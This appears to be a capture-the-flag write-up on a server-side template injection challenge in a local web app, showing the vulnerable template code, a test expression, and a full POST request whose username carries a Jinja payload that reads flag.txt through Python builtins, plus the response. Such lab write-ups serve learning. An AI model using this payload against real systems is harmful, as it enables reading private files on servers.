Portal

I did not expect this challenge to be this easy, but thanks for adding something like this because it also gives a confidence boost

So, SSTI
from what I understood this vulnerability arises when an input is being directly given to the template, and it is not cleaned before.

For example

```
user_input = {{1+1}}
template = Template("Hello" + user_input)
print(template.render())
```

Here we directly put the user input which is a code injection into the template and sadly it executes(😛 😏)

My approach to this task was pretty simple, I pulled the code from github first and then explored all the functionality of the website (There was only one functionality 😟). So, when I saw that there is only one place where I give my input (username and password) I was pretty sure that one of them is the point of innjection. Also in the code you can see in the bottom

```
<!-- For debugging use only -->
            <!-- ===================================== -->
            <!-- Username : %s  -->
            <!-- ===================================== -->

            </html>
        ''' % name
```

This information was enough for me to know that Username was the injection point.

Then I used Burpsuite to read and analyze the request and also to cross check if I missed something.

Then I just used the repeater functionality in Burpusite to send different kinds of payloads
I started with the classic mathematical expressions

```
{{3*3}}
and the output was : 9
```

Then I went to the website called https://github.com/swisskyrepo/PayloadsAllTheThings started manually testing different payloads, as out goal this time was to get the flag, and after 4-5 seconds I had the flag with this command.

```
POST /register HTTP/1.1

Host: localhost:5000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/
*;q=0.8

Accept-Language: en-US,en;q=0.5

user=
{{self.__init__.__globals__.__builtins__.open('flag.txt').read()}}&pwd=prashan
t
```

and the response was

```
                <p>&copy; 2024 Hacker's Forum. All rights reserved.</p>
                </footer>
            </body>

            <!-- For debugging use only -->
            <!-- ========================================== -->
            <!-- Username : flag{foo}  -->
            <!-- ========================================== -->

            </html>
```

That was it from my side and I am happy to have solve all the challenges from pyjails.